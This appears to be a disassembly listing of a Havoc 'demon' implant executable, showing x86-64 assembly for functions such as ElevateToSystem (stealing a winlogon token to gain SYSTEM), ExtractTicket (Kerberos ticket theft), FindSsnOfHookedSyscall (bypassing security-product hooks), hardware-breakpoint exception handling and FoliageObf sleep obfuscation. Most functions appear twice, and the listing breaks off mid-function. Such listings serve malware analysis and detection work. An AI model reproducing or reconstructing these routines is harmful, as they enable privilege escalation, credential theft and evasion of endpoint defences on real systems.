File havoc_demon_9b6047883014e32c66300962e067762ee768a7a3f981ca51b1ce60ae7452421b.exe
Function:
Loading..
140012d50
140012d50ElevateToSystem:
140012d50push rdi
140012d51mov ecx, 26
140012d56push rsi
140012d57push rbx
140012d58xor ebx, ebx
140012d5amov eax, ebx
140012d5csub rsp, 96
140012d60lea rdi, [rsp+70]
140012d65rep stosb [rdi], al
140012d67xor eax, eax
140012d69mov ecx, 101
140012d6elea rdi, [rsp+70]
140012d73mov [rsp+48], rax
140012d78mov [rsp+56], rax
140012d7dcall HideChar
140012d82mov ecx, 111
140012d87movzx eax, al
140012d8amov [rsp+92], ax
140012d8fcall HideChar
140012d94mov ecx, 110
140012d99movzx eax, al
140012d9cmov [rsp+78], ax
140012da1call HideChar
140012da6mov ecx, 111
140012dabmovzx eax, al
140012daemov [rsp+74], ax
140012db3call HideChar
140012db8mov ecx, 110
140012dbdmovzx eax, al
140012dc0mov [rsp+82], ax
140012dc5call HideChar
140012dcamov ecx, 103
140012dcfmovzx eax, al
140012dd2mov [rsp+84], ax
140012dd7call HideChar
140012ddcxor ecx, ecx
140012ddemovzx eax, al
140012de1mov [rsp+80], ax
140012de6call HideChar
140012debmov ecx, 108
140012df0movzx eax, al
140012df3mov [rsp+94], ax
140012df8call HideChar
140012dfdmov ecx, 101
140012e02movzx eax, al
140012e05mov [rsp+76], ax
140012e0acall HideChar
140012e0fmov ecx, 46
140012e14movzx eax, al
140012e17mov [rsp+88], ax
140012e1ccall HideChar
140012e21mov ecx, 105
140012e26movzx eax, al
140012e29mov [rsp+86], ax
140012e2ecall HideChar
140012e33mov ecx, 119
140012e38movzx eax, al
140012e3bmov [rsp+72], ax
140012e40call HideChar
140012e45mov ecx, 120
140012e4amovzx eax, al
140012e4dmov [rsp+70], ax
140012e52call HideChar
140012e57mov rcx, rdi
140012e5amovzx eax, al
140012e5dmov [rsp+90], ax
140012e62call GetProcessIdByName
140012e67mov ecx, 26
140012e6cmov r8l, eax
140012e6fmov eax, ebx
140012e71rep stosb [rdi], al
140012e73cmp r8l, -1
140012e77jne 0x140012e9e
140012e79lea r9, [rip+0x15460]
140012e80mov r8l, 89
140012e86lea rdx, [rip+0x1a2b3]
140012e8dlea rcx, [rip+0x15473]
140012e94call printf
140012e99jmp 0x140012fb0
140012e9e
140012e9eloc_140012e9e:
140012e9emov edx, 4096
140012ea3mov ecx, r8l
140012ea6call ProcessOpen
140012eabmov rdi, rax
140012eaetest rax, rax
140012eb1je 0x140012f85
140012eb7lea r8, [rsp+56]
140012ebcmov edx, 14
140012ec1mov rcx, rax
140012ec4call SysNtOpenProcessToken
140012ec9mov esi, eax
140012ecbtest eax, eax
140012ecdjs 0x140012f4e
140012ecflea rax, [rsp+48]
140012ed4mov rcx, [rsp+56]
140012ed9mov edx, 395
140012edemov r9l, 1
140012ee4mov [rsp+32], rax
140012ee9mov r8l, 3
140012eefcall TokenDuplicate
140012ef4mov ebx, eax
140012ef6test eax, eax
140012ef8je 0x140012f17
140012efamov rcx, [rsp+48]
140012effxor ebx, ebx
140012f01call SysImpersonateLoggedOnUser
140012f06mov rcx, [rsp+48]
140012f0btest eax, eax
140012f0dsetne bl
140012f10call SysNtClose
140012f15jmp 0x140012f42
140012f17
140012f17loc_140012f17:
140012f17mov rax, [rip+0x19452]
140012f1emov ecx, esi
140012f20call [rax+348]
140012f26mov r8l, 112
140012f2clea rdx, [rip+0x1a20d]
140012f33lea rcx, [rip+0x153e1]
140012f3amov r9l, eax
140012f3dcall printf
140012f42
140012f42loc_140012f42:
140012f42mov rcx, [rsp+56]
140012f47call SysNtClose
140012f4cjmp 0x140012f7b
140012f4e
140012f4eloc_140012f4e:
140012f4emov ecx, eax
140012f50mov rax, [rip+0x19419]
140012f57xor ebx, ebx
140012f59call [rax+348]
140012f5fmov r8l, 118
140012f65lea rdx, [rip+0x1a1d4]
140012f6clea rcx, [rip+0x153d5]
140012f73mov r9l, eax
140012f76call printf
140012f7b
140012f7bloc_140012f7b:
140012f7bmov rcx, rdi
140012f7ecall SysNtClose
140012f83jmp 0x140012fb2
140012f85
140012f85loc_140012f85:
140012f85mov rax, [rip+0x193e4]
140012f8cxor ecx, ecx
140012f8ecall [rax+348]
140012f94mov r8l, 125
140012f9alea rdx, [rip+0x1a19f]
140012fa1lea rcx, [rip+0x153a0]
140012fa8mov r9l, eax
140012fabcall printf
140012fb0
140012fb0loc_140012fb0:
140012fb0xor ebx, ebx
140012fb2
140012fb2loc_140012fb2:
140012fb2add rsp, 96
140012fb6mov eax, ebx
140012fb8pop rbx
140012fb9pop rsi
140012fbapop rdi
140012fbbret
140012d50
140012d50ElevateToSystem:
140012d50push rdi
140012d51mov ecx, 26
140012d56push rsi
140012d57push rbx
140012d58xor ebx, ebx
140012d5amov eax, ebx
140012d5csub rsp, 96
140012d60lea rdi, [rsp+70]
140012d65rep stosb [rdi], al
140012d67xor eax, eax
140012d69mov ecx, 101
140012d6elea rdi, [rsp+70]
140012d73mov [rsp+48], rax
140012d78mov [rsp+56], rax
140012d7dcall HideChar
140012d82mov ecx, 111
140012d87movzx eax, al
140012d8amov [rsp+92], ax
140012d8fcall HideChar
140012d94mov ecx, 110
140012d99movzx eax, al
140012d9cmov [rsp+78], ax
140012da1call HideChar
140012da6mov ecx, 111
140012dabmovzx eax, al
140012daemov [rsp+74], ax
140012db3call HideChar
140012db8mov ecx, 110
140012dbdmovzx eax, al
140012dc0mov [rsp+82], ax
140012dc5call HideChar
140012dcamov ecx, 103
140012dcfmovzx eax, al
140012dd2mov [rsp+84], ax
140012dd7call HideChar
140012ddcxor ecx, ecx
140012ddemovzx eax, al
140012de1mov [rsp+80], ax
140012de6call HideChar
140012debmov ecx, 108
140012df0movzx eax, al
140012df3mov [rsp+94], ax
140012df8call HideChar
140012dfdmov ecx, 101
140012e02movzx eax, al
140012e05mov [rsp+76], ax
140012e0acall HideChar
140012e0fmov ecx, 46
140012e14movzx eax, al
140012e17mov [rsp+88], ax
140012e1ccall HideChar
140012e21mov ecx, 105
140012e26movzx eax, al
140012e29mov [rsp+86], ax
140012e2ecall HideChar
140012e33mov ecx, 119
140012e38movzx eax, al
140012e3bmov [rsp+72], ax
140012e40call HideChar
140012e45mov ecx, 120
140012e4amovzx eax, al
140012e4dmov [rsp+70], ax
140012e52call HideChar
140012e57mov rcx, rdi
140012e5amovzx eax, al
140012e5dmov [rsp+90], ax
140012e62call GetProcessIdByName
140012e67mov ecx, 26
140012e6cmov r8l, eax
140012e6fmov eax, ebx
140012e71rep stosb [rdi], al
140012e73cmp r8l, -1
140012e77jne 0x140012e9e
140012e79lea r9, [rip+0x15460]
140012e80mov r8l, 89
140012e86lea rdx, [rip+0x1a2b3]
140012e8dlea rcx, [rip+0x15473]
140012e94call printf
140012e99jmp 0x140012fb0
140012e9e
140012e9eloc_140012e9e:
140012e9emov edx, 4096
140012ea3mov ecx, r8l
140012ea6call ProcessOpen
140012eabmov rdi, rax
140012eaetest rax, rax
140012eb1je 0x140012f85
140012eb7lea r8, [rsp+56]
140012ebcmov edx, 14
140012ec1mov rcx, rax
140012ec4call SysNtOpenProcessToken
140012ec9mov esi, eax
140012ecbtest eax, eax
140012ecdjs 0x140012f4e
140012ecflea rax, [rsp+48]
140012ed4mov rcx, [rsp+56]
140012ed9mov edx, 395
140012edemov r9l, 1
140012ee4mov [rsp+32], rax
140012ee9mov r8l, 3
140012eefcall TokenDuplicate
140012ef4mov ebx, eax
140012ef6test eax, eax
140012ef8je 0x140012f17
140012efamov rcx, [rsp+48]
140012effxor ebx, ebx
140012f01call SysImpersonateLoggedOnUser
140012f06mov rcx, [rsp+48]
140012f0btest eax, eax
140012f0dsetne bl
140012f10call SysNtClose
140012f15jmp 0x140012f42
140012f17
140012f17loc_140012f17:
140012f17mov rax, [rip+0x19452]
140012f1emov ecx, esi
140012f20call [rax+348]
140012f26mov r8l, 112
140012f2clea rdx, [rip+0x1a20d]
140012f33lea rcx, [rip+0x153e1]
140012f3amov r9l, eax
140012f3dcall printf
140012f42
140012f42loc_140012f42:
140012f42mov rcx, [rsp+56]
140012f47call SysNtClose
140012f4cjmp 0x140012f7b
140012f4e
140012f4eloc_140012f4e:
140012f4emov ecx, eax
140012f50mov rax, [rip+0x19419]
140012f57xor ebx, ebx
140012f59call [rax+348]
140012f5fmov r8l, 118
140012f65lea rdx, [rip+0x1a1d4]
140012f6clea rcx, [rip+0x153d5]
140012f73mov r9l, eax
140012f76call printf
140012f7b
140012f7bloc_140012f7b:
140012f7bmov rcx, rdi
140012f7ecall SysNtClose
140012f83jmp 0x140012fb2
140012f85
140012f85loc_140012f85:
140012f85mov rax, [rip+0x193e4]
140012f8cxor ecx, ecx
140012f8ecall [rax+348]
140012f94mov r8l, 125
140012f9alea rdx, [rip+0x1a19f]
140012fa1lea rcx, [rip+0x153a0]
140012fa8mov r9l, eax
140012fabcall printf
140012fb0
140012fb0loc_140012fb0:
140012fb0xor ebx, ebx
140012fb2
140012fb2loc_140012fb2:
140012fb2add rsp, 96
140012fb6mov eax, ebx
140012fb8pop rbx
140012fb9pop rsi
140012fbapop rdi
140012fbbret
140012d50
140012fbc
140012fbc // align 0x10
140012fbc // align 0x10
140012fc0
140012fc0EndsWithIW:
140012fc0test rcx, rcx
140012fc3je 0x140013000
140012fc5test rdx, rdx
140012fc8je 0x140013000
140012fcasub rsp, 40
140012fcemov r9, rcx
140012fd1call StringLengthW
140012fd6mov rcx, rdx
140012fd9mov r8, rax
140012fdccall StringLengthW
140012fe1xor ecx, ecx
140012fe3cmp r8l, eax
140012fe6jb 0x140013003
140012fe8sub r8l, eax
140012febadd r8, r8
140012feelea rcx, [r9+r8]
140012ff2call StringCompareIW
140012ff7xor ecx, ecx
140012ff9test eax, eax
140012ffbsete cl
140012ffejmp 0x140013003
140013000
140013000loc_140013000:
140013000xor eax, eax
140013002ret
140013003
140013003loc_140013003:
140013003mov eax, ecx
140013005add rsp, 40
140013009ret
140012fc0
140012fc0EndsWithIW:
140012fc0test rcx, rcx
140012fc3je 0x140013000
140012fc5test rdx, rdx
140012fc8je 0x140013000
140012fcasub rsp, 40
140012fcemov r9, rcx
140012fd1call StringLengthW
140012fd6mov rcx, rdx
140012fd9mov r8, rax
140012fdccall StringLengthW
140012fe1xor ecx, ecx
140012fe3cmp r8l, eax
140012fe6jb 0x140013003
140012fe8sub r8l, eax
140012febadd r8, r8
140012feelea rcx, [r9+r8]
140012ff2call StringCompareIW
140012ff7xor ecx, ecx
140012ff9test eax, eax
140012ffbsete cl
140012ffejmp 0x140013003
140013000
140013000loc_140013000:
140013000xor eax, eax
140013002ret
140013003
140013003loc_140013003:
140013003mov eax, ecx
140013005add rsp, 40
140013009ret
140012fc0
14001300a
14001300a // align 0x10
14001300a // align 0x10
140013010
140013010EventSet:
140013010sub rsp, 40
140013014mov rax, [rip+0x19355]
14001301bxor edx, edx
14001301dcall [rax+460]
140013023add rsp, 40
140013027not eax
140013029shr eax, 31
14001302cret
140013010
140013010EventSet:
140013010sub rsp, 40
140013014mov rax, [rip+0x19355]
14001301bxor edx, edx
14001301dcall [rax+460]
140013023add rsp, 40
140013027not eax
140013029shr eax, 31
14001302cret
140013010
14001302d
14001302d // align 0x10
14001302d // align 0x10
140013030
140013030ExceptionHandler:
140013030push rdi
140013031lea rdi, [rip+0x19598]
140013038mov r8l, 326
14001303epush rsi
14001303fmov rdx, rdi
140013042mov rsi, rcx
140013045push rbx
140013046sub rsp, 32
14001304amov rax, [rcx]
14001304dlea rcx, [rip+0x14f2c]
140013054mov r9, [rax+16]
140013058call printf
14001305dmov rax, [rsi]
140013060mov rdx, rdi
140013063mov r8l, 327
140013069lea rcx, [rip+0x14f37]
140013070mov r9l, [rax]
140013073call printf
140013078mov rax, [rsi]
14001307bcmp [rax], 0xffffffff80000004
140013081je 0x140013087
140013083
140013083loc_140013083:
140013083xor eax, eax
140013085jmp 0x140013102
140013087
140013087loc_140013087:
140013087mov rdx, [rip+0x192e2]
14001308emov rdx, [rdx+2342]
140013095mov rbx, [rdx+16]
140013099
140013099loc_140013099:
140013099test rbx, rbx
14001309cje 0x1400130e4
14001309emov rdx, [rbx+8]
1400130a2cmp rdx, [rax+16]
1400130a6jne 0x1400130de
1400130a8movzx r8l, [rbx+24]
1400130admov ecx, [rbx]
1400130afxor r9l, r9l
1400130b2call HwBpEngineSetBp
1400130b7mov rcx, rsi
1400130bacall [rbx+16]
1400130bdlea r9, [rip+0x14f0a]
1400130c4mov r8l, 357
1400130camov rdx, rdi
1400130cdlea rcx, [rip+0x14eff]
1400130d4call printf
1400130d9or eax, -1
1400130dcjmp 0x140013102
1400130de
1400130deloc_1400130de:
1400130demov rbx, [rbx+32]
1400130e2jmp 0x140013099
1400130e4
1400130e4loc_1400130e4:
1400130e4lea r9, [rip+0x14f15]
1400130ebmov r8l, 357
1400130f1mov rdx, rdi
1400130f4lea rcx, [rip+0x14ed8]
1400130fbcall printf
140013100jmp 0x140013083
140013102
140013102loc_140013102:
140013102add rsp, 32
140013106pop rbx
140013107pop rsi
140013108pop rdi
140013109ret
140013030
140013030ExceptionHandler:
140013030push rdi
140013031lea rdi, [rip+0x19598]
140013038mov r8l, 326
14001303epush rsi
14001303fmov rdx, rdi
140013042mov rsi, rcx
140013045push rbx
140013046sub rsp, 32
14001304amov rax, [rcx]
14001304dlea rcx, [rip+0x14f2c]
140013054mov r9, [rax+16]
140013058call printf
14001305dmov rax, [rsi]
140013060mov rdx, rdi
140013063mov r8l, 327
140013069lea rcx, [rip+0x14f37]
140013070mov r9l, [rax]
140013073call printf
140013078mov rax, [rsi]
14001307bcmp [rax], 0xffffffff80000004
140013081je 0x140013087
140013083
140013083loc_140013083:
140013083xor eax, eax
140013085jmp 0x140013102
140013087
140013087loc_140013087:
140013087mov rdx, [rip+0x192e2]
14001308emov rdx, [rdx+2342]
140013095mov rbx, [rdx+16]
140013099
140013099loc_140013099:
140013099test rbx, rbx
14001309cje 0x1400130e4
14001309emov rdx, [rbx+8]
1400130a2cmp rdx, [rax+16]
1400130a6jne 0x1400130de
1400130a8movzx r8l, [rbx+24]
1400130admov ecx, [rbx]
1400130afxor r9l, r9l
1400130b2call HwBpEngineSetBp
1400130b7mov rcx, rsi
1400130bacall [rbx+16]
1400130bdlea r9, [rip+0x14f0a]
1400130c4mov r8l, 357
1400130camov rdx, rdi
1400130cdlea rcx, [rip+0x14eff]
1400130d4call printf
1400130d9or eax, -1
1400130dcjmp 0x140013102
1400130de
1400130deloc_1400130de:
1400130demov rbx, [rbx+32]
1400130e2jmp 0x140013099
1400130e4
1400130e4loc_1400130e4:
1400130e4lea r9, [rip+0x14f15]
1400130ebmov r8l, 357
1400130f1mov rdx, rdi
1400130f4lea rcx, [rip+0x14ed8]
1400130fbcall printf
140013100jmp 0x140013083
140013102
140013102loc_140013102:
140013102add rsp, 32
140013106pop rbx
140013107pop rsi
140013108pop rdi
140013109ret
140013030
14001310a
14001310a // align 0x10
14001310a // align 0x10
140013110
140013110ExtractTicket:
140013110push rbp
140013111mov rbp, rsp
140013114push r15
140013116mov r15, r8
140013119push r14
14001311bmov r14l, edx
14001311exor edx, edx
140013120push r13
140013122mov r13, rcx
140013125mov ecx, 64
14001312apush r12
14001312cpush rdi
14001312dpush rsi
14001312epush rbx
14001312fand rsp, -16
140013133sub rsp, 96
140013137mov rdi, [r9]
14001313amov r12, [rip+0x1922f]
140013141mov [rsp+88], rdx
140013146mov rsi, [r9+8]
14001314amov edx, edi
14001314cmov rax, rdi
14001314fmov [rsp+84], 0xffffffffc0000001
140013157shr edx, 16
14001315ashr rax, 16
14001315eadd edx, 64
140013161mov [rsp+72], rax
140013166mov [rsp+80], edx
14001316ashl rdx, 6
14001316ecall [r12+932]
140013176test rax, rax
140013179je 0x14001326c
14001317fmov [rax+4], r15
140013183mov rbx, rax
140013186movzx ecx, [rsp+72]
14001318bmov edx, r14l
14001318emov [rax], 8
140013194mov eax, 1
140013199mov r8, rbx
14001319cshl rax, 35
1400131a0mov [rbx+16], rdi
1400131a4mov [rbx+32], rax
1400131a8xor eax, eax
1400131aamov [rbx+40], eax
1400131adlea rax, [rbx+64]
1400131b1mov [rbx+24], rax
1400131b5mov rdi, rax
1400131b8lea rax, [rsp+84]
1400131bdrep movsb [rdi], [rsi]
1400131bfmov [rsp+48], rax
1400131c4lea rax, [rsp+80]
1400131c9mov rcx, r13
1400131ccmov [rsp+40], rax
1400131d1lea rax, [rsp+88]
1400131d6mov r9l, [rsp+80]
1400131dbmov [rsp+32], rax
1400131e0call [r12+1956]
1400131e8mov r9l, eax
1400131ebor eax, [rsp+84]
1400131efjs 0x140013236
1400131f1mov rax, [rsp+88]
1400131f6mov ecx, 64
1400131fbmov r13l, [rax+136]
140013202mov rdx, r13
140013205call [r12+932]
14001320dtest rax, rax
140013210je 0x14001324f
140013212mov rdx, [rsp+88]
140013217mov rdi, rax
14001321amov rcx, r13
14001321dmov rsi, [rdx+144]
140013224mov rdx, [rbp+48]
140013228rep movsb [rdi], [rsi]
14001322amov [rdx], rax
14001322dmov rax, [rbp+56]
140013231mov [rax], r13l
140013234jmp 0x14001324f
140013236
140013236loc_140013236:
140013236mov r8l, 328
14001323clea rdx, [rip+0x19d7d]
140013243lea rcx, [rip+0x1512f]
14001324acall printf
14001324f
14001324floc_14001324f:
14001324fmov rcx, [rsp+88]
140013254test rcx, rcx
140013257je 0x140013261
140013259call [r12+2012]
140013261
140013261loc_140013261:
140013261mov rcx, rbx
140013264call [r12+940]
14001326c
14001326cloc_14001326c:
14001326clea rsp, [rbp-56]
140013270pop rbx
140013271pop rsi
140013272pop rdi
140013273pop r12
140013275pop r13
140013277pop r14
140013279pop r15
14001327bpop rbp
14001327cret
140013110
140013110ExtractTicket:
140013110push rbp
140013111mov rbp, rsp
140013114push r15
140013116mov r15, r8
140013119push r14
14001311bmov r14l, edx
14001311exor edx, edx
140013120push r13
140013122mov r13, rcx
140013125mov ecx, 64
14001312apush r12
14001312cpush rdi
14001312dpush rsi
14001312epush rbx
14001312fand rsp, -16
140013133sub rsp, 96
140013137mov rdi, [r9]
14001313amov r12, [rip+0x1922f]
140013141mov [rsp+88], rdx
140013146mov rsi, [r9+8]
14001314amov edx, edi
14001314cmov rax, rdi
14001314fmov [rsp+84], 0xffffffffc0000001
140013157shr edx, 16
14001315ashr rax, 16
14001315eadd edx, 64
140013161mov [rsp+72], rax
140013166mov [rsp+80], edx
14001316ashl rdx, 6
14001316ecall [r12+932]
140013176test rax, rax
140013179je 0x14001326c
14001317fmov [rax+4], r15
140013183mov rbx, rax
140013186movzx ecx, [rsp+72]
14001318bmov edx, r14l
14001318emov [rax], 8
140013194mov eax, 1
140013199mov r8, rbx
14001319cshl rax, 35
1400131a0mov [rbx+16], rdi
1400131a4mov [rbx+32], rax
1400131a8xor eax, eax
1400131aamov [rbx+40], eax
1400131adlea rax, [rbx+64]
1400131b1mov [rbx+24], rax
1400131b5mov rdi, rax
1400131b8lea rax, [rsp+84]
1400131bdrep movsb [rdi], [rsi]
1400131bfmov [rsp+48], rax
1400131c4lea rax, [rsp+80]
1400131c9mov rcx, r13
1400131ccmov [rsp+40], rax
1400131d1lea rax, [rsp+88]
1400131d6mov r9l, [rsp+80]
1400131dbmov [rsp+32], rax
1400131e0call [r12+1956]
1400131e8mov r9l, eax
1400131ebor eax, [rsp+84]
1400131efjs 0x140013236
1400131f1mov rax, [rsp+88]
1400131f6mov ecx, 64
1400131fbmov r13l, [rax+136]
140013202mov rdx, r13
140013205call [r12+932]
14001320dtest rax, rax
140013210je 0x14001324f
140013212mov rdx, [rsp+88]
140013217mov rdi, rax
14001321amov rcx, r13
14001321dmov rsi, [rdx+144]
140013224mov rdx, [rbp+48]
140013228rep movsb [rdi], [rsi]
14001322amov [rdx], rax
14001322dmov rax, [rbp+56]
140013231mov [rax], r13l
140013234jmp 0x14001324f
140013236
140013236loc_140013236:
140013236mov r8l, 328
14001323clea rdx, [rip+0x19d7d]
140013243lea rcx, [rip+0x1512f]
14001324acall printf
14001324f
14001324floc_14001324f:
14001324fmov rcx, [rsp+88]
140013254test rcx, rcx
140013257je 0x140013261
140013259call [r12+2012]
140013261
140013261loc_140013261:
140013261mov rcx, rbx
140013264call [r12+940]
14001326c
14001326cloc_14001326c:
14001326clea rsp, [rbp-56]
140013270pop rbx
140013271pop rsi
140013272pop rdi
140013273pop r12
140013275pop r13
140013277pop r14
140013279pop r15
14001327bpop rbp
14001327cret
140013110
14001327d
14001327d // align 0x10
14001327d // align 0x10
140013280
140013280FindGadget:
140013280push rbp
140013281mov edx, edx
140013283lea rbp, [rip+0x15ec6]
14001328apush rdi
14001328bpush rsi
14001328clea rsi, [rcx+rdx]
140013290push rbx
140013291mov rbx, rcx
140013294sub rsp, 40
140013298
140013298loc_140013298:
140013298cmp rbx, rsi
14001329bje 0x1400132ba
14001329dmov rcx, rbx
1400132a0mov r8l, 2
1400132a6mov rdx, rbp
1400132a9mov rdi, rbx
1400132accall MemCompare
1400132b1inc rbx
1400132b4test eax, eax
1400132b6jne 0x140013298
1400132b8jmp 0x1400132bc
1400132ba
1400132baloc_1400132ba:
1400132baxor edi, edi
1400132bc
1400132bcloc_1400132bc:
1400132bcadd rsp, 40
1400132c0mov rax, rdi
1400132c3pop rbx
1400132c4pop rsi
1400132c5pop rdi
1400132c6pop rbp
1400132c7ret
140013280
140013280FindGadget:
140013280push rbp
140013281mov edx, edx
140013283lea rbp, [rip+0x15ec6]
14001328apush rdi
14001328bpush rsi
14001328clea rsi, [rcx+rdx]
140013290push rbx
140013291mov rbx, rcx
140013294sub rsp, 40
140013298
140013298loc_140013298:
140013298cmp rbx, rsi
14001329bje 0x1400132ba
14001329dmov rcx, rbx
1400132a0mov r8l, 2
1400132a6mov rdx, rbp
1400132a9mov rdi, rbx
1400132accall MemCompare
1400132b1inc rbx
1400132b4test eax, eax
1400132b6jne 0x140013298
1400132b8jmp 0x1400132bc
1400132ba
1400132baloc_1400132ba:
1400132baxor edi, edi
1400132bc
1400132bcloc_1400132bc:
1400132bcadd rsp, 40
1400132c0mov rax, rdi
1400132c3pop rbx
1400132c4pop rsi
1400132c5pop rdi
1400132c6pop rbp
1400132c7ret
140013280
1400132c8
1400132c8 // align 0x10
1400132c8 // align 0x10
1400132d0
1400132d0FindSsnOfHookedSyscall:
1400132d0push r14
1400132d2mov r9, rcx
1400132d5mov r8l, 209
1400132dbpush r13
1400132ddpush r12
1400132dfmov r12, rdx
1400132e2push rbp
1400132e3push rdi
1400132e4mov rdi, rcx
1400132e7lea rcx, [rip+0x16132]
1400132eepush rsi
1400132efpush rbx
1400132f0lea rbx, [rip+0x193b9]
1400132f7mov rdx, rbx
1400132fasub rsp, 48
1400132femov [rsp+46], 0
140013305call printf
14001330acall GetSyscallSize
14001330ftest eax, eax
140013311jne 0x140013331
140013313lea r9, [rip+0x1617e]
14001331amov r8l, 212
140013320mov rdx, rbx
140013323lea rcx, [rip+0x1619d]
14001332acall printf
14001332fjmp 0x140013396
140013331
140013331loc_140013331:
140013331mov esi, eax
140013333mov ebp, eax
140013335lea r13, [rsp+46]
14001333amov ebx, 1
14001333f
14001333floc_14001333f:
14001333fmov r14l, ebp
140013342xor r9l, r9l
140013345xor edx, edx
140013347mov r8, r13
14001334alea rcx, [rdi+r14]
14001334ecall SysExtract
140013353test eax, eax
140013355je 0x140013360
140013357mov ax, [rsp+46]
14001335csub eax, ebx
14001335ejmp 0x14001337e
140013360
140013360loc_140013360:
140013360mov rcx, rdi
140013363xor r9l, r9l
140013366xor edx, edx
140013368mov r8, r13
14001336bsub rcx, r14
14001336ecall SysExtract
140013373test eax, eax
140013375je 0x14001338a
140013377mov ax, [rsp+46]
14001337cadd eax, ebx
14001337e
14001337eloc_14001337e:
14001337emov [r12], ax
140013383mov eax, 1
140013388jmp 0x140013398
14001338a
14001338aloc_14001338a:
14001338ainc ebx
14001338cadd ebp, esi
14001338ecmp ebx, 500
140013394jne 0x14001333f
140013396
140013396loc_140013396:
140013396xor eax, eax
140013398
140013398loc_140013398:
140013398add rsp, 48
14001339cpop rbx
14001339dpop rsi
14001339epop rdi
14001339fpop rbp
1400133a0pop r12
1400133a2pop r13
1400133a4pop r14
1400133a6ret
1400132d0
1400132d0FindSsnOfHookedSyscall:
1400132d0push r14
1400132d2mov r9, rcx
1400132d5mov r8l, 209
1400132dbpush r13
1400132ddpush r12
1400132dfmov r12, rdx
1400132e2push rbp
1400132e3push rdi
1400132e4mov rdi, rcx
1400132e7lea rcx, [rip+0x16132]
1400132eepush rsi
1400132efpush rbx
1400132f0lea rbx, [rip+0x193b9]
1400132f7mov rdx, rbx
1400132fasub rsp, 48
1400132femov [rsp+46], 0
140013305call printf
14001330acall GetSyscallSize
14001330ftest eax, eax
140013311jne 0x140013331
140013313lea r9, [rip+0x1617e]
14001331amov r8l, 212
140013320mov rdx, rbx
140013323lea rcx, [rip+0x1619d]
14001332acall printf
14001332fjmp 0x140013396
140013331
140013331loc_140013331:
140013331mov esi, eax
140013333mov ebp, eax
140013335lea r13, [rsp+46]
14001333amov ebx, 1
14001333f
14001333floc_14001333f:
14001333fmov r14l, ebp
140013342xor r9l, r9l
140013345xor edx, edx
140013347mov r8, r13
14001334alea rcx, [rdi+r14]
14001334ecall SysExtract
140013353test eax, eax
140013355je 0x140013360
140013357mov ax, [rsp+46]
14001335csub eax, ebx
14001335ejmp 0x14001337e
140013360
140013360loc_140013360:
140013360mov rcx, rdi
140013363xor r9l, r9l
140013366xor edx, edx
140013368mov r8, r13
14001336bsub rcx, r14
14001336ecall SysExtract
140013373test eax, eax
140013375je 0x14001338a
140013377mov ax, [rsp+46]
14001337cadd eax, ebx
14001337e
14001337eloc_14001337e:
14001337emov [r12], ax
140013383mov eax, 1
140013388jmp 0x140013398
14001338a
14001338aloc_14001338a:
14001338ainc ebx
14001338cadd ebp, esi
14001338ecmp ebx, 500
140013394jne 0x14001333f
140013396
140013396loc_140013396:
140013396xor eax, eax
140013398
140013398loc_140013398:
140013398add rsp, 48
14001339cpop rbx
14001339dpop rsi
14001339epop rdi
14001339fpop rbp
1400133a0pop r12
1400133a2pop r13
1400133a4pop r14
1400133a6ret
1400132d0
1400133a7
1400133a7 // align 0x10
1400133a7 // align 0x10
1400133b0
1400133b0FoliageObf:
1400133b0push r15
1400133b2push r14
1400133b4xor r14l, r14l
1400133b7push r13
1400133b9push r12
1400133bbpush rbp
1400133bcpush rdi
1400133bdpush rsi
1400133bepush rbx
1400133bfsub rsp, 296
1400133c6mov [rsp+240], r14
1400133cemov [rsp+248], r14
1400133d6mov [rsp+256], r14
1400133demov [rsp+264], r14
1400133e6mov [rsp+272], r14
1400133eemov [rsp+280], r14
1400133f6mov [rsp+176], r14
1400133femov [rsp+184], r14
140013406mov [rsp+192], r14
14001340emov [rsp+232], r14
140013416mov r14, [rip+0x18f53]
14001341dmov [rsp+368], rcx
140013425mov rdx, [r14+44]
140013429mov eax, [r14+52]
14001342dmov [rsp+172], 64
140013438mov rcx, [r14+56]
14001343cmov [rsp+200], rdx
140013444mov [rsp+208], rax
14001344ctest rcx, rcx
14001344fje 0x14001346b
140013451mov r8l, [r14+64]
140013455test r8l, r8l
140013458je 0x14001346b
14001345amov [rsp+172], 32
140013465mov eax, r8l
140013468mov rdx, rcx
14001346b
14001346bloc_14001346b:
14001346bmov [rsp+216], rdx
140013473xor ebx, ebx
140013475mov [rsp+224], rax
14001347d
14001347dloc_14001347d:
14001347dcall RandomNumber32
140013482mov edx, eax
140013484lea rax, [rsp+272]
14001348cmov [rsp+rbx+272], dl
140013493inc rbx
140013496cmp rbx, 16
14001349ajne 0x14001347d
14001349cmov [rsp+248], rax
1400134a4xor r13l, r13l
1400134a7mov rax, 0x1000000010
1400134b1xor r8l, r8l
1400134b4mov [rsp+32], r13l
1400134b9lea rcx, [rsp+176]
1400134c1mov edx, 0x1f0003
1400134c6mov r9l, 1
1400134ccmov [rsp+240], rax
1400134d4mov rax, [rsp+200]
1400134dcmov [rsp+264], rax
1400134e4mov rax, [rsp+208]
1400134ecmov [rsp+260], eax
1400134f3mov [rsp+256], eax
1400134facall SysNtCreateEvent
1400134fftest eax, eax
140013501js 0x140013f7e
140013507xor edi, edi
140013509xor ebp, ebp
14001350bxor r12l, r12l
14001350emov [rsp+48], 1
140013516mov [rsp+80], rdi
14001351bor r9, -1
14001351fxor r8l, r8l
140013522lea rcx, [rsp+184]
14001352amov [rsp+72], 0x14000
140013533mov edx, 0x1fffff
140013538mov [rsp+64], 0x14000
140013541mov [rsp+56], rbp
140013546mov [rsp+40], r12
14001354bmov rax, [r14+228]
140013552mov [rsp+32], rax
140013557call SysNtCreateThreadEx
14001355ctest eax, eax
14001355ejs 0x140013f7e
140013564mov edx, 1232
140013569mov ecx, 64
14001356exor esi, esi
140013570call [r14+932]
140013577mov edx, 1232
14001357cmov ecx, 64
140013581mov [rsp+104], rax
140013586call [r14+932]
14001358dmov edx, 1232
140013592mov ecx, 64
140013597mov [rsp+160], rax
14001359fcall [r14+932]
1400135a6mov edx, 1232
1400135abmov ecx, 64
1400135b0mov [rsp+144], rax
1400135b8call [r14+932]
1400135bfmov edx, 1232
1400135c4mov ecx, 64
1400135c9mov rbp, rax
1400135cccall [r14+932]
1400135d3mov edx, 1232
1400135d8mov ecx, 64
1400135ddmov rbx, rax
1400135e0call [r14+932]
1400135e7mov edx, 1232
1400135ecmov ecx, 64
1400135f1mov [rsp+128], rax
1400135f9call [r14+932]
140013600mov edx, 1232
140013605mov ecx, 64
14001360amov [rsp+136], rax
140013612call [r14+932]
140013619mov edx, 1232
14001361emov ecx, 64
140013623mov r15, rax
140013626call [r14+932]
14001362dmov edx, 1232
140013632mov ecx, 64
